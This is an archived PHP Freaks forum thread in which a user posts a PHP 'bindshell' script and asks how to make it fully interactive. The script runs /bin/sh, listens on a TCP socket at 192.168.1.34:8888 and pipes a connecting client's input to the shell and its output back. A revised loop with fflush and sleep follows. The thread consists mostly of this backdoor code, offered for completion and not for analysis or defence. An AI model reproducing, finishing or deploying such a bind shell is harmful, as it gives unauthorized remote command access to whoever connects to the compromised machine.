Jump to content

execute shell interactive


tch

Recommended Posts

Hi all. I ve been trying to make a CLI script in PHP to execute /bin/sh and create a pipe for stdin / stdout / stderr. It should work like this. You start the script, it executes /bin/sh and passes the streams to the process it opened. Moreover I would like it to listen for connections with sockets. I have the whole script half-done, here's the code and explanation:

#!/usr/bin/php -q
<?php
$address = "192.168.1.34";
$port = "8888";

$descriptorspec = array(
       0 => array("pipe", "r"), // stdin
       1 => array("pipe", "w"), // stdout
       2 => array("pipe", "w")  // stderr
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);

$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($mysock, $address, $port) or die("Can't bind to <$address:$port>\n");
socket_listen($mysock, 5);
$client = socket_accept($mysock);
socket_write($client, "-= PHP Bindshell =-\n");

while (is_resource($process)) {
$input = socket_read($client, 1024);
fwrite($pipes[0], "$input");
//fclose($pipes[0]);
$output = stream_get_contents($pipes[1]); 
socket_write($client, $output);
}
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
socket_close($client); socket_close($mysock);
?>

It works as expected only if I uncomment the fclose(); but then I have the handle closed, so I can execute only 1 command. Is there a better way to do this.

PS: You may have noticed from the code that this tends to be a bindshell. I know that there are better languages for this purpose, I just want to know if this is possible with php.

Link to comment
https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/
Share on other sites

Yea I tried that and it don't work.

<?php
...
while (is_resource($process)) {
$input = socket_read($client, 1024);
fwrite($pipes[0], $input); // input contains a newline
//	fclose($pipes[0]);
fflush($pipes[0]);
sleep(1);
$output = stream_get_contents($pipes[1]); 
socket_write($client, $output);
}
...
?>

I asked this on some other forums, but no one could give an exact answer. If anyone knows a better way to do this with php, please reply. Thank you.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.